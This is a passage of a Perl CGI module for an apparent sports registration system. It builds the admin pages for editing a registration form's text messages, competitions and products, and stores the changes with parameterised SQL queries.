@ISA = qw(Exporter);
@EXPORT = qw(
getRegoFormText
regoform_text_edit
update_regoformtext
regoform_products
update_regoform_products
regoform_teamcomps
update_regoform_teamcomps
GetFormType
GetFormName
update_regoform_status
getBreadcrumbs
HTML_breadcrumbs
hidden_fields
getProductsTabOnly
regoform_notifications
update_regoform_notifications
pack_notif_bits
);
use strict;
use lib ".", "RegoForm/";
use CGI qw(param unescape Vars);
use Reg_common;
use ConfigOptions qw(getAssocSubType);
use Products;
use Utils;
use MD5;
use AuditLog;
use RegoFormStepper;
use RegoFormObj;
use RegoFormUtils;
use ContactsObj;
use TTTemplate;
use RegoFormCreateFromTemplate qw(create_from_template);
use RegoFormStepper;
use RegoFormFields;
use RegoFormProductAddedObj;
use RegoFormProductAddedSQL;
use RegoFormConfigAddedObj;
use RegoFormConfigAddedSQL;
sub getRegoFormText {
my ($Data)=@_;
my $cgi = new CGI;
my $formID = $Data->{'RegoFormID'} || untaint_number($cgi->param('fID')) || 0;
my $realmID=$Data->{'Realm'} || 0;
my $realmSubType=$Data->{'RealmSubType'} || 0;
my $assocID=$Data->{'clientValues'}{'assocID'} || -1;
my $subtype=getAssocSubType($Data->{'db'},$assocID) || 0;
my $st = q[
SELECT intAssocID,
intSubRealmID,
strPageOneText,
strTopText,
strBottomText,
strSuccessText,
strAuthEmailText,
strIndivRegoSelect,
strTeamRegoSelect,
strPaymentText,
strTermsCondHeader,
strTermsCondText,
intTC_AgreeBox,
intRegoFormID
FROM tblRegoFormConfig
WHERE (intAssocID=0 or intAssocID = ?)
AND (intSubRealmID = ? or intSubRealmID=0)
AND intRealmID = ?
AND intRegoFormID IN(0, ?)
ORDER BY intSubRealmID ASC, intAssocID ASC, intRegoFormID ASC
];
my $query = $Data->{'db'}->prepare($st);
$query->execute( $assocID, $realmSubType, $realmID, $formID);
my %Text=();
my @textfields = qw(
strPageOneText
strTopText
strTermsCondHeader
strTermsCondText
intTC_AgreeBox
strBottomText
strSuccessText
strAuthEmailText
strIndivRegoSelect
strTeamRegoSelect
strPaymentText
);
#nationalrego.
my $dbh = $Data->{'db'};
my $regoFormObj = RegoFormObj->load(db=>$dbh, ID=>$formID);
LEVEL: while (my $dref = $query->fetchrow_hashref()) {
if (($dref->{'intSubRealmID'} and $dref->{'intSubRealmID'} != $subtype) ) {
next LEVEL if($assocID>0);
}
FIELD: foreach my $textfield ( @textfields ) {
next FIELD unless $dref->{$textfield};
$Text{$textfield} = $dref->{$textfield} if ($dref->{$textfield});
$Text{'SetByRealm'} = 1 unless (($dref->{'intAssocID'} and $dref->{'intRegoFormID'}) or $regoFormObj->isNodeForm());
$Text{'SetByRealm_'.$textfield} = 1 if ($Text{'SetByRealm'} and $Text{'SetByRealm'} == 1 and (! $dref->{'intAssocID'} or ! $dref->{'intRegoFormID'}));
}
}
if ($regoFormObj->isNodeForm()) {
my ($currLevel, $entityID) = getEntityValues($Data->{'clientValues'});
if (!$regoFormObj->isOwnForm(entityID=>$entityID)) {
my $regoFormConfigAddedObj = RegoFormConfigAddedObj->loadByFormEntityTypeEntityID(dbh=>$dbh, formID=>$formID, entityID=>$entityID, entityTypeID=>$currLevel);
if ($regoFormConfigAddedObj) {
$Text{'strTermsCondHeader'} = $regoFormConfigAddedObj->getValue('strTermsCondHeader');;
$Text{'strTermsCondText'} = $regoFormConfigAddedObj->getValue('strTermsCondText');
}
else {
$Text{'strTermsCondHeader'} = '';
$Text{'strTermsCondText'} = '';
}
}
}
my @rego_as;
foreach my $rego_type (qw( Player Coach Umpire Official Misc Volunteer )) {
my $rt_name = "d_int$rego_type";
next unless param($rt_name);
my $rego_label;
if ($Data->{'SystemConfig'}{$rego_type.'Label'}) {
$rego_label = $Data->{'SystemConfig'}{$rego_type.'Label'};
}
elsif ($rego_type eq 'Umpire') {
$rego_label = 'Match Official';
}
else {
$rego_label = $rego_type;
}
my $rt_field = hidden_fields( $rt_name => 1 );
push @rego_as, "$rego_label $rt_field";
}
if (scalar @rego_as) {
$Text{strRegoAs} = join(
q{},
'Registering as ',
((scalar @rego_as == 1)
? $rego_as[0]
: $cgi->ul( $cgi->li( \@rego_as ) )
),
'<br><br>',
);
}
my $TC_AgreeBox_text = $Data->{'SystemConfig'}{'regoform_CustomTCText'} || 'I have read and agree to the Terms and Conditions';
$Text{'TC_AgreeBox'} = $Text{'intTC_AgreeBox'}
? qq[
<span style="font-size:14px;color:red;">
<b>$TC_AgreeBox_text <input type="checkbox" value="1" name="tcagree"></b> <img src="images/compulsory.gif" alt="" border=0>
</span>
]
: q{};
return \%Text;
}
sub regoform_text_edit {
my($Data, $stepper_fid)=@_;
my ($formID, $formType, $stepper_html, $stepper_mode, $stepper_edit, $stepper_inpt) = get_stepper_stuff($Data, $stepper_fid, 'mess');
$formType = GetFormType($Data);
my $realmID=$Data->{'Realm'} || 0;
my $target=$Data->{'target'};
my $cl = setClient($Data->{'clientValues'});
my $unesc_cl=unescape($cl);
my $assocID=$Data->{'clientValues'}{'assocID'} || $Defs::INVALID_ID;
my $RegoText=getRegoFormText($Data);
#nationalrego.
my $dbh = $Data->{'db'};
my $currLevel = $Data->{'clientValues'}{'currentLevel'};
my $currID = getEntityID($Data->{'clientValues'});
my $regoFormObj = RegoFormObj->load(db=>$dbh, ID=>$formID);
my $disableText = ($regoFormObj->isNodeForm() and !$regoFormObj->isOwnForm(entityID=>$currID)) ? 1 : 0;
my $body='';
my $checked = $RegoText->{'intTC_AgreeBox'} ? 'checked' : '';
my $formName = GetFormName($Data).' (#'.$formID.')';
my $breadcrumbs = getBreadcrumbs($cl, $stepper_mode, 'Edit', 'Text Messages');
my $continue_btn = ($stepper_mode eq 'add')
? qq[<input type="submit" value="Continue" class="button proceed-button">]
: qq[<input type="submit" value="Save" class="button proceed-button">];
# The below form code is changed to display (as read only) the Realm set fields and allow others
# to be edited by the club/assoc
$body=qq[
<script type="text/javascript">
jQuery(function() {
jQuery('#texttabs').tabs({ selected: 0 });
});
</script>
$stepper_html
<p>Customise the text that displays at various stages of the registration process.</p>
<form action="$target" method="POST">
<input type="hidden" name="a" value="A_ORF_tu">
<input type="hidden" name="client" value="$unesc_cl">
<input type="hidden" name="fID" value="$formID">
$stepper_inpt
$continue_btn
];
my $initialinfo = ($formType eq 'Member')
? qq[<li><a href="#firstTextTab">Initial Information</a></li>]
: '';
$body .= qq[
<br>
<div id="texttabs" style="float:left;width:80%;margin-top:0;margin-bottom:0;">
<ul>
<li><a href="#individualTextTab">Choose Type</a></li>
$initialinfo
<li><a href="#fullInfoTab">Full Information</a></li>
<li><a href="#completionTextTab">Summary</a></li>
<li><a href="#ccardTextTab">Credit Card Payment</a></li>
<li><a href="#emailTextTab">Confirmation Email</a></li>
</ul>
<div id="individualTextTab">
];
if ($formType eq 'Member') {
$body .= qq[
<span class="label">This text will appear on the first page above the login section.</span><br>
];
# $body .= $RegoText->{'SetByRealm_strIndivRegoSelect'}
$body .= ($RegoText->{'SetByRealm_strIndivRegoSelect'} or $disableText)
? qq[ <div>$RegoText->{'strIndivRegoSelect'}</div><br>]
: qq[ <textarea name="indivregoselect" cols="70" rows="17">$RegoText->{'strIndivRegoSelect'}</textarea>];
}
if ($formType eq 'Team') {
$body .= qq[
<span class="label">This text will appear on the first page above the login section.</span><br>
];
$body .= $RegoText->{'SetByRealm_strTeamRegoSelect'}
? qq[ <div>$RegoText->{'strTeamRegoSelect'}</div><br>]
: qq[ <textarea name="teamregoselect" cols="70" rows="17">$RegoText->{'strTeamRegoSelect'}</textarea>];
}
$body .= qq[</div>];
if ($formType eq 'Member') {
$body .= qq[
<div id="firstTextTab">
<span class="label">This text will appear at the top of the 'Initial Information' page.</span>
<br>
];
# $body .= $RegoText->{'SetByRealm_strPageOneText'}
$body .= ($RegoText->{'SetByRealm_strPageOneText'} or $disableText)
? qq[ <div>$RegoText->{'strPageOneText'}</div><br>]
: qq[ <textarea name="pageone_text" cols="70" rows="17">$RegoText->{'strPageOneText'}</textarea>];
$body .= qq[ </div> ];
}
$body .= qq[
<div id="fullInfoTab">
<span class="label">This text will appear at the top of the 'Full Information' page.</span><br>
];
# $body .= $RegoText->{'SetByRealm_strTopText'}
$body .= ($RegoText->{'SetByRealm_strTopText'} or $disableText)
? qq[ <div>$RegoText->{'strTopText'}</div><br>]
: qq[ <textarea name="toptext" cols="70" rows="15">$RegoText->{'strTopText'}</textarea><br>];
$body .= qq[ <span class="label">This text will appear at the bottom of the 'Full Information' page, above any Terms & Conditions or Opt Ins.</span><br> ];
# $body .= (exists $RegoText->{'SetByRealm_strBottomText'} )
$body .= (exists $RegoText->{'SetByRealm_strBottomText'} or $disableText)
? qq[ <div>$RegoText->{'strBottomText'}</div><br>]
: qq[ <textarea name="bottomtext" cols="70" rows="15">$RegoText->{'strBottomText'}</textarea><br> ];
$body .= $RegoText->{'SetByRealm_strTermsCondText'}
? qq[ <span class="label">These Terms & Conditions will appear at the very bottom of the 'Full Information' page.</span><br>]
: qq[ <span class="label">This is where any Terms & Conditions should be entered, the smaller of the two boxes being for an optional header. <br>The T&Cs will appear at the very bottom of the 'Full Information' page, under the product selection area.</span><br>];
$body .= $RegoText->{'SetByRealm_strTermsCondHeader'}
? qq[<div style="display:block;background-color:#f9f9f9;margin-left:2px;width:478px;height:20px;border-style:solid;border-width:1px;border-color:silver;margin-bottom:2px;line-height:20px;">$RegoText->{'strTermsCondHeader'}</div>]
: qq[<input type="text" name="tchdr" value="$RegoText->{'strTermsCondHeader'}" style="display:block;width:478px">];
$body .= $RegoText->{'SetByRealm_strTermsCondText'}
? qq[ <div style="background-color:#f9f9f9;margin-left:2px;width:478px;height:264px;overflow:auto;border-style:solid;border-width:1px;border-color:silver"><pre>$RegoText->{'strTermsCondText'}</pre></div><br>]
: qq[ <textarea name="tctext" cols="70" rows="15">$RegoText->{'strTermsCondText'}</textarea><br><br>];
$body .= $RegoText->{'SetByRealm_intTC_AgreeBox'}
? qq[ <div>Yes</div><br>]
: qq[ <input type="checkbox" name="tcagree" value="1" $checked>];
$body .= qq[<span class="label">Include an "I Agree to the above Terms & Conditions" mandatory checkbox?</span>];
$body .= qq[</div><div id="completionTextTab">];
$body .= qq[<span class="label">This text will appear at the bottom of the 'Summary' section.</span><br>];
# $body .= $RegoText->{'SetByRealm_strSuccessText'}
$body .= ($RegoText->{'SetByRealm_strSuccessText'} or $disableText)
? qq[ <div>$RegoText->{'strSuccessText'}</div><br>]
: qq[ <textarea name="successtext" cols="70" rows="17">$RegoText->{'strSuccessText'}</textarea>];
$body .= qq[</div><div id="emailTextTab">];
$body .= qq[<span class="label">This text will appear at the bottom of the registration confirmation email containing participants username & password.</span>];
# $body .= $RegoText->{'SetByRealm_strAuthEmailText'}
$body .= ($RegoText->{'SetByRealm_strAuthEmailText'} or $disableText)
? qq[ <div>$RegoText->{'strAuthEmailText'}</div><br>]
: qq[ <textarea name="authemailtext" cols="70" rows="16">$RegoText->{'strAuthEmailText'}</textarea>];
$body .= qq[</div>];
$body .= qq[<div id="ccardTextTab">];
$body .= qq[<span class="label">This text will appear at the top of the credit card payments page.</span><br>];
# $body .= $RegoText->{'SetByRealm_strPaymentText'}
$body .= ($RegoText->{'SetByRealm_strPaymentText'} or $disableText)
? qq[ <div>$RegoText->{'strPaymentText'}</div><br>]
: qq[ <textarea name="paymenttext" cols="70" rows="17">$RegoText->{'strPaymentText'}</textarea>];
$body .= qq[</div></div>];
$body .= qq[
<div style="clear:both;"></div>
$continue_btn
</form>
];
return ($body, $formName, $breadcrumbs);
}
sub update_regoformtext {
my($Data)=@_;
my $realmID=$Data->{'Realm'} || 0;
my $RealmSubType=$Data->{'RealmSubType'} || 0;
my $assocID=$Data->{'clientValues'}{'assocID'} || $Defs::INVALID_ID;
my $cgi = new CGI;
my $formID = $cgi->param('fID') || 0;
#my $stepper_mode = $cgi->param('stepper');
#my $successSQL ='';
my $db = $Data->{'db'};
my $regoFormObj = RegoFormObj->load(db=>$db, ID=>$formID);
my ($entityTypeID, $entityID) = getEntityValues($Data->{'clientValues'});
return nodeFormAddedConfig($Data, $formID, $cgi, $regoFormObj, $entityID, $entityTypeID) if $regoFormObj->isNodeForm() and !$regoFormObj->isOwnForm(entityID=>$entityID);
my $stepper_mode = $cgi->param('stepper');
my $successSQL ='';
my $st_del = q[
DELETE FROM tblRegoFormConfig
WHERE intAssocID = ?
AND intRealmID = ?
AND intRegoFormID = ?
];
$Data->{'db'}->do(
$st_del,
undef,
$assocID,
$realmID,
$formID
);
my %RegoText=();
$RegoText{'strPageOneText'} = param('pageone_text') || '';
$RegoText{'strTopText'} = param('toptext') || '';
$RegoText{'strTermsCondHeader'} = param('tchdr') || '';
$RegoText{'strTermsCondText'} = param('tctext') || '';
$RegoText{'intTC_AgreeBox'} = param('tcagree') || 0;
$RegoText{'strBottomText'} = param('bottomtext') || '';
$RegoText{'strAuthEmailText'} = param('authemailtext') || '';
$RegoText{'strIndivRegoSelect'} = param('indivregoselect') || '';
$RegoText{'strTeamRegoSelect'} = param('teamregoselect') || '';
$RegoText{'strSuccessText'} = param('successtext') || '';
$RegoText{'strPaymentText'} = param('paymenttext') || '';
for my $k (keys %RegoText) { $RegoText{$k}||=''; $RegoText{$k}=~s/<br>/\n/g; }
my $st_insert = q[
INSERT INTO tblRegoFormConfig (
intRegoFormID,
intAssocID,
intRealmID,
intSubRealmID,
strPageOneText,
strTopText,
strBottomText,
strSuccessText,
strAuthEmailText,
strIndivRegoSelect,
strTeamRegoSelect,
strPaymentText,
strTermsCondHeader,
strTermsCondText,
intTC_AgreeBox
)
VALUES ( ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ? )
];
$Data->{'db'}->do(
$st_insert,
undef,
$formID,
$assocID,
$realmID,
$RealmSubType,
$RegoText{'strPageOneText'},
$RegoText{'strTopText'},
$RegoText{'strBottomText'},
$RegoText{'strSuccessText'},
$RegoText{'strAuthEmailText'},
$RegoText{'strIndivRegoSelect'},
$RegoText{'strTeamRegoSelect'},
$RegoText{'strPaymentText'},
$RegoText{'strTermsCondHeader'},
$RegoText{'strTermsCondText'},
$RegoText{'intTC_AgreeBox'}
);
my $subBody = ($DBI::err)
? qq[<div class="warningmsg">There was a problem changing the text</div>]
: qq[<div class="OKmsg">Messages saved</div>];
auditLog($formID, $Data, 'Update Text', 'Registration Form');
return ($subBody, '', $stepper_mode);
}
sub regoform_teamcomps {
my($Data, $stepper_fid)=@_;
my ($formID, $formType, $stepper_html, $stepper_mode, $stepper_edit, $stepper_inpt) = get_stepper_stuff($Data, $stepper_fid, 'comp');
my $realmID=$Data->{'Realm'} || 0;
my $target=$Data->{'target'};
my $cl = setClient($Data->{'clientValues'});
my $unesc_cl=unescape($cl);
my $assocID=$Data->{'clientValues'}{'assocID'} || $Defs::INVALID_ID;
my %currentComps=();
my $formName = GetFormName($Data).' (#'.$formID.')';
my $breadcrumbs = getBreadcrumbs($cl, $stepper_mode, 'Edit', 'Team Competitions');
my $st=qq[
SELECT intCompID
FROM tblRegoFormComps
WHERE intRealmID = ?
AND (intAssocID = ? OR intAssocID=0)
AND (intSubRealmID=0 OR intSubRealmID = ? )
AND intRegoFormID = ?
];
my $query = $Data->{'db'}->prepare($st);
$query->execute(
$realmID,
$assocID,
$Data->{'RealmSubType'},
$formID,
);
while (my ($id)=$query->fetchrow_array()) {
$currentComps{$id}=1;
}
my $comps='';
$st = qq[
SELECT C.intCompID, C.strTitle, DATE_FORMAT(dtStart,'%d/%m/%Y') as dtStart
FROM tblAssoc_Comp as C
WHERE C.intAssocID = ? AND C.intRecStatus = ?
ORDER BY C.dtStart DESC, C.strTitle
];
$query = $Data->{'db'}->prepare($st);
$query->execute( $assocID, $Defs::RECSTATUS_ACTIVE ) ;
my $body='';
my $i=0;
while (my $dref=$query->fetchrow_hashref()) {
my $shade=$i%2==0? 'class="rowshade" ' : '';
$i++;
my $checked= $currentComps{$dref->{'intCompID'}} ? ' CHECKED ' : '';
my $field = qq[ <input type="checkbox" name="rfcomp_$dref->{'intCompID'}" value="1" $checked>];
$comps.=qq[
<tr>
<td $shade>$field</td>
<td $shade>$dref->{'strTitle'}</td>
<td $shade>$dref->{'dtStart'}</td>
</tr>
];
}
$comps=qq[
<div style="width:95%">
<table class="listTable" id="comps">
<thead>
<tr>
<th>Active</th>
<th>Competition Name</th>
<th>Start Date</th>
</tr>
</thead>
$comps
</table>
</div>
] if $comps;
my $choose_comps = '';
my $save_comps1 = '';
my $save_comps2 = '';
if ($comps) {
$save_comps1 = ($stepper_mode eq 'add')
? qq[<input type="submit" value="Continue" class="button proceed-button">]
: qq[<input type="submit" value="Save" class="button proceed-button">];
$save_comps2 = $save_comps1;
$choose_comps = qq[<p>Choose which competitions to make available for selection on the registration form.</p>];
}
elsif ($stepper_mode eq 'add') {
$save_comps2 = qq[<input type="submit" value="Continue" class="button proceed-button">];
}
$comps ||= qq[<div class="warningmsg">No Competitions could be found for inclusion on the registration form.</div>];
$body = qq[
<link rel="stylesheet" type="text/css" href="css/tablescroll.css"/>
<script src="js/jquery.tablescroll.js"></script>
<script type="text/javascript">
jQuery().ready(function() {
jQuery("#comps").tableScroll({
height: 330
});
});
</script>
$stepper_html
<form action="$target" method="POST">
$choose_comps
$save_comps1
$comps
<input type="hidden" name="a" value="A_ORF_tcu">
<input type="hidden" name="client" value="$unesc_cl">
<input type="hidden" name="fID" value="$formID">
$stepper_inpt
$save_comps2
</form>
];
return ( $body, $formName, $breadcrumbs);
}
sub regoform_products {
my ($Data, $stepper_fid) = @_;
my ($formID, $formType, $stepper_html, $stepper_mode, $stepper_edit, $stepper_inpt) = get_stepper_stuff($Data, $stepper_fid, 'prod');
my $dbh = $Data->{'db'};
my $realmID = $Data->{'Realm'} || 0;
my $cl = setClient($Data->{'clientValues'});
my $unesc_cl = unescape($cl);
my $assocID = $Data->{'clientValues'}{'assocID'} || $Defs::INVALID_ID;
#Since nationalrego, get the clubID from clientValues rather than from the form.
#For a node form, clubID i(on the form) will always be -1. If we're processing the form at club level, clubID should be set truly.
my $clubID = $Data->{'clientValues'}{'clubID'} || $Defs::INVALID_ID;
my $regoFormObj = RegoFormObj->load(db=>$dbh, ID=>$formID);
my $regoType = $regoFormObj->getValue('intRegoType');
my ($currLevel, $currID) = getEntityValues($Data->{'clientValues'});
$regoType ||= 0;
$clubID ||= 0;
$clubID = 0 if $clubID < 0;
my %currentProducts = ();
my %currentProductsMandatory = ();
my %currentProductsSequence = ();
my $mprods = ($formType != $Defs::REGOFORM_TYPE_TEAM_ASSOC) ? 1 : 0; #mprods = member prods (as distinct from team prods)
my $where = ' WHERE intRegoFormID = ?';
$where .= ' AND intAssocID IN (0, ?, ?)' if $mprods;
#assocID selection only meaningful for mprods
my $st = qq[SELECT intProductID, intIsMandatory, intSequence, intAssocID FROM tblRegoFormProducts $where];
my $query = $dbh->prepare($st);
if ($mprods) {
#the clubID bit doesn't seem correct here. Think for club form, assocID is set to clubID?
$query->execute($formID, $assocID, $Data->{'clientValues'}{'clubID'});
}
else {
$query->execute($formID);
}
while (my ($id, $mandatory, $sequence, $productAssocID) = $query->fetchrow_array()) {
$productAssocID = 1 if !$mprods;
$productAssocID ||= -1;
$mandatory ||= 0;
$sequence ||= 0;
$currentProducts{$id} = $productAssocID;
$currentProductsMandatory{$id} = $mandatory;
$currentProductsSequence{$id} = $sequence;
}
my $level = ($mprods) ? $Defs::LEVEL_MEMBER : $Defs::LEVEL_TEAM;
$st = get_products_sql();
$query = $Data->{'db'}->prepare($st);
$query->execute(
$Defs::LEVEL_CLUB,
$Defs::LEVEL_ASSOC,
$assocID,
$Defs::LEVEL_ASSOC,
$realmID,
$Defs::LEVEL_CLUB,
$realmID,
$assocID,
$Data->{'RealmSubType'},
$Data->{'clientValues'}{'authLevel'}
);
my @products = ();
my $currentAddedProducts = '';
my $splits_count = 0;
if ($regoFormObj->isNodeForm() and !$regoFormObj->isOwnForm(entityID=>$currID)) {
my $fields = 'intProductID, intIsMandatory, intSequence';
$currentAddedProducts = getCurrentAddedProducts($dbh, $formID, $assocID, $clubID, $fields);
}
while (my $dref = $query->fetchrow_hashref()) {
#When at club level, the sql in the get_products_sql actually returns all club level products for the assoc before
#filtering out those not belonging to the club via the next if below. Probably should correct the sql but loathe to change
#something that's working even though it's not necessarily done the correct way.
next if ($clubID and $dref->{'intCreatedLevel'} == $Defs::LEVEL_CLUB and $dref->{'intCreatedID'} != $clubID);
my $productID = $dref->{'intProductID'};
my $checked = $currentProducts{$productID} ? ' CHECKED ' : '';
my $mandatory = $currentProductsMandatory{$productID} ? ' CHECKED ' : '';
my $sequence = $currentProductsSequence{$productID};
my $tempProductID = $currentProducts{$productID};
my $active = '';
my $disable = '';
if ($currentAddedProducts) {
if (!$checked) {
$checked = $currentAddedProducts->{$productID} ? ' CHECKED ' : '';
}
$mandatory = 'Yes' if $mandatory;
if (!$mandatory) {
$mandatory = $currentAddedProducts->{$productID}{'intIsMandatory'} ? ' CHECKED ' : '';
}
$sequence = $currentAddedProducts->{$productID}{'intSequence'} if !$sequence;
$tempProductID = $currentAddedProducts->{$productID}{'intProductID'} if !$tempProductID;
}
if ($regoType == 1 and !$clubID and Products::checkProductClubSplit($Data, $productID)) {
$active = '*Club Split';
$disable = ' disabled';
$splits_count++;
}
#$active = 'Compulsory' if !$active and $defaultProductID == $productID;
if (!$active and $mprods and $tempProductID == -1) {
$active = ($regoFormObj->isNodeForm() and $regoFormObj->isOwnForm(entityID=>$currID)) ? '' : 'Yes';
}
next if !$active and $regoFormObj->isNodeForm() and $regoFormObj->isParentBodyForm(level=>$currLevel) and $dref->{'intCreatedLevel'} == $regoFormObj->getValue('intCreatedLevel');
my $prod_price = currency($dref->{'curAmount'} || $dref->{'curDefaultAmount'} || 0);
push @products, {
active => $active,
checked => $checked,
productID => $productID,
sequence => $sequence,
mandatory => $mandatory,
disable => $disable,
strGroup => $dref->{'strGroup'},
strName => $dref->{'strName'},
prodPrice => $prod_price,
createdName => $dref->{'CreatedName'},
};
}
my $continueBtn = (@products) ? ($stepper_mode eq 'add') ? 'Continue' : 'Save' : '';
my $actn = ($mprods) ? 'A_ORF_pu' : 'A_ORF_tpu';
my $formName = GetFormName($Data).' (#'.$formID.')';
my $breadcrumbs = getBreadcrumbs($cl, $stepper_mode, 'Edit', 'Products');
my $productsTabOnly = (getProductsTabOnly($Data)) ? 1 : 0;
my $clubSplits = ($regoType == 1 and @products and $splits_count) ? 1 : 0;
my %templateData = (
stepper_html => $stepper_html,
stepper_inpt => $stepper_inpt,
stepper_mode => $stepper_mode,
target => $Data->{'target'},
continueBtn => $continueBtn,
productsTabOnly => $productsTabOnly,
products => \@products,
clubSplits => $clubSplits,
action => $actn,
client => $unesc_cl,
formID => $formID,
);
my $templateFile = 'regoform/backend/products.templ';
my $body = runTemplate($Data, \%templateData, $templateFile);
return ($body, $formName, $breadcrumbs);
}
sub getCurrentAddedProducts {
my ($dbh, $formID, $assocID, $clubID, $fields) = @_;
my $sql = getRegoFormProductAddedListSQL(dbh=>$dbh, formID=>$formID, assocID=>$assocID, clubID=>$clubID, fields=>$fields);
my @bindVars = ($formID, $assocID, $clubID);
my $q = getQueryPreparedAndBound($dbh, $sql, \@bindVars);
$q->execute();
my $currentAddedProducts = $q->fetchall_hashref('intProductID');
$q->finish();
return $currentAddedProducts;
}
sub get_products_sql {
# Providing a list of products - no pricing (can ignore family pricing)
my $st = qq[
SELECT
P.intProductID,
P.strName,
P.intAssocID,
P.curDefaultAmount,
P.intMinChangeLevel,
P.intCreatedLevel,
PP.curAmount,
P.strGroup,
IF((P.intCreatedLevel = ?), CONCAT(C.strName, ' (CLUB)'),
IF((P.intCreatedLevel = ?), 'Association',
IF(P.intAssocID=0, 'National',''))
) as CreatedName,
P.intCreatedID
FROM tblProducts as P
LEFT JOIN tblProductPricing as PP ON (
PP.intProductID = P.intProductID
AND intID = ?
AND intLevel = ?
AND PP.intRealmID = ?
)
LEFT JOIN tblClub as C ON (
C.intClubID = P.intCreatedID
AND P.intCreatedLevel = ?
)
WHERE P.intRealmID = ?
AND (P.intAssocID = ? OR P.intAssocID=0)
AND P.intInactive=0
AND P.intProductType NOT IN (2)
AND P.intProductSubRealmID IN (0, ?)
AND (intMinSellLevel <= ? OR intMinSellLevel=0)
ORDER BY P.strGroup, P.strName
];
return $st;
}
sub update_regoform_teamcomps {
my ($action, $Data, $assocID, $level, $client) = @_;
my $cgi = new CGI;
my $formID = $cgi->param('fID') || 0;
my $stepper_mode = $cgi->param('stepper');
$assocID = $Data->{'clientValues'}{'assocID'};
my $realmID=$Data->{'Realm'} || 0;
my $st_del=qq[
DELETE FROM tblRegoFormComps
WHERE intAssocID = ?
AND intRealmID = ?
AND intRegoFormID = ?
];
$Data->{'db'}->do($st_del, undef, $assocID, $realmID, $formID);
my $txt_prob=$Data->{'lang'}->txt('Problem updating Fields');
return qq[<div class="warningmsg">$txt_prob (1)</div>] if $DBI::err;
my $st = q[
INSERT INTO tblRegoFormComps(intRegoFormID, intAssocID, intRealmID, intCompID)
VALUES (?, ?, ?, ?)
];
my $q=$Data->{'db'}->prepare($st);
my %params=Vars();
for my $k (keys %params) {
if($k=~/rfcomp_/) {
my $id=$k;
$id=~s/rfcomp_//g;
$q->execute($formID, $assocID, $realmID, $id);
}
return qq[<div class="warningmsg">$txt_prob (2)</div>] if $DBI::err;
}
my $subBody = qq[<div class="OKmsg">Team Competitions Updated</div>];
return ($subBody, '', $stepper_mode);
}
sub update_regoform_products {
my ($action, $Data, $assocID, $level, $client) = @_;
my $dbh = $Data->{'db'};
my $cgi = new CGI;
my $formID = $cgi->param('fID');
my $stepper_mode = $cgi->param('stepper');
$assocID = $Data->{'clientValues'}{assocID} || $assocID;
my $successSQL = qq[<div class="OKmsg">Products saved</div>];
my $regoFormObj = RegoFormObj->load(db=>$dbh, ID=>$formID);
my $entityID = getEntityID($Data->{'clientValues'});
if ($regoFormObj->isNodeForm() and !$regoFormObj->isOwnForm(entityID=>$entityID)) {
nodeFormAddedProducts($Data, $formID, $cgi, $regoFormObj);
return ($successSQL, '', $stepper_mode, $formID);
}
my $assocID2 = $assocID;
$assocID2 = 0 if $assocID2 == -1;
my $st_del = qq[DELETE FROM tblRegoFormProducts WHERE intRegoFormID = ? AND intAssocID = ?];
$Data->{'db'}->do($st_del, undef, $formID, $assocID2);
my $txt_prob=$Data->{'lang'}->txt('Problem updating Fields');
return qq[<div class="warningmsg">$txt_prob (1) $formID</div>] if $DBI::err;
my $st = qq[
INSERT INTO tblRegoFormProducts(
intRegoFormID, intProductID, intAssocID, intRealmID, intIsMandatory, intSequence
)
VALUES (?, ?, ?, ?, ?, ?)
];
my $q=$Data->{'db'}->prepare($st);
my %params=Vars();
for my $k (keys %params) {
if($k=~/rfprod_/) {
my $id=$k;
$id=~s/rfprod_//g;
my $isMandatory = $params{'rfprodmandatory_'.$id} || 0;
my $prod_seq = $params{'rfprodseq_'.$id} || 0;
$q->execute($formID, $id, $assocID2, $Data->{'Realm'}, $isMandatory, $prod_seq);
}
return qq[<div class="warningmsg">$txt_prob (2)</div>] if $DBI::err;
}
auditLog($formID, $Data, 'Update Products','Registration Form');
return ($successSQL, '', $stepper_mode, $formID);
}
sub nodeFormAddedProducts {
my ($Data, $formID, $cgi, $regoFormObj) = @_;
my $dbh = $Data->{'db'};
my $assocID = $Data->{'clientValues'}{'assocID'} || 0;
my $clubID = $Data->{'clientValues'}{'clubID'} || 0;
$clubID = 0 if $clubID < 0;
#delete the current added products prior to re-adding the new ones.
RegoFormProductAddedObj->bulkDelete(dbh=>$dbh, formID=>$formID, assocID=>$assocID, clubID=>$clubID);
my %params = $cgi->Vars();
foreach my $key (keys %params) {
next if $key !~ /rfprod(active|)_/; #rfprodactive is specifically for picking up here.
my $productID = $key;
$productID =~ s/rfprod(active|)_//g;
my $isMandatory = $params{'rfprodmandatory_'.$productID} || 0;
my $sequence = $params{'rfprodseq_'.$productID} || 0;
my $regoFormProductAddedObj = RegoFormProductAddedObj->new(db=>$dbh);
my $dbfields = 'dbfields';
$regoFormProductAddedObj->{$dbfields} = ();
$regoFormProductAddedObj->{$dbfields}{'intRegoFormID'} = $formID;
$regoFormProductAddedObj->{$dbfields}{'intAssocID'} = $assocID;
$regoFormProductAddedObj->{$dbfields}{'intClubID'} = $clubID;
$regoFormProductAddedObj->{$dbfields}{'intProductID'} = $productID;
$regoFormProductAddedObj->{$dbfields}{'intIsMandatory'} = $isMandatory;
$regoFormProductAddedObj->{$dbfields}{'intSequence'} = $sequence;
my $regoFormProductAddedID = $regoFormProductAddedObj->save();
auditLog($regoFormProductAddedID, $Data, 'Insert added product', 'Node Registration Form');
}
return 1;
}
sub update_regoform_status {
my ($action, $Data) = @_;
my $realmID = $Data->{'Realm'} || 0;
my $RealmSubType = $Data->{'RealmSubType'} || 0;
my $assocID = $Data->{'clientValues'}{assocID} || $Defs::INVALID_ID;
my $cgi = new CGI;
my $formID = $cgi->param('fID') || 0;
my $intStatus;
my $action_text;
for ($action) {
if (/^A_ORF_rsd$/) {
$action_text = 'Delete';
$intStatus = -1;
}
elsif (/^A_ORF_rse$/) {
$action_text = 'Enable';
$intStatus = 1;
}
elsif (/^A_ORF_rsh$/) {
$action_text = 'Hide';
$intStatus = 0;
}
else {
return;
}
}
my $st = qq[UPDATE tblRegoForm SET intStatus = ? WHERE intRegoFormID = ?];
my $q = $Data->{'db'}->prepare($st);
$q->execute($intStatus, $formID);
auditLog($formID, $Data, $action_text,'Registration Form');
return;
}
sub regoform_notifications {
my ($Data, $stepper_fid) = @_;
my ($form_id, $form_type, $stepper_html, $stepper_mode, $stepper_edit, $stepper_inpt) = get_stepper_stuff($Data, $stepper_fid, 'noti');
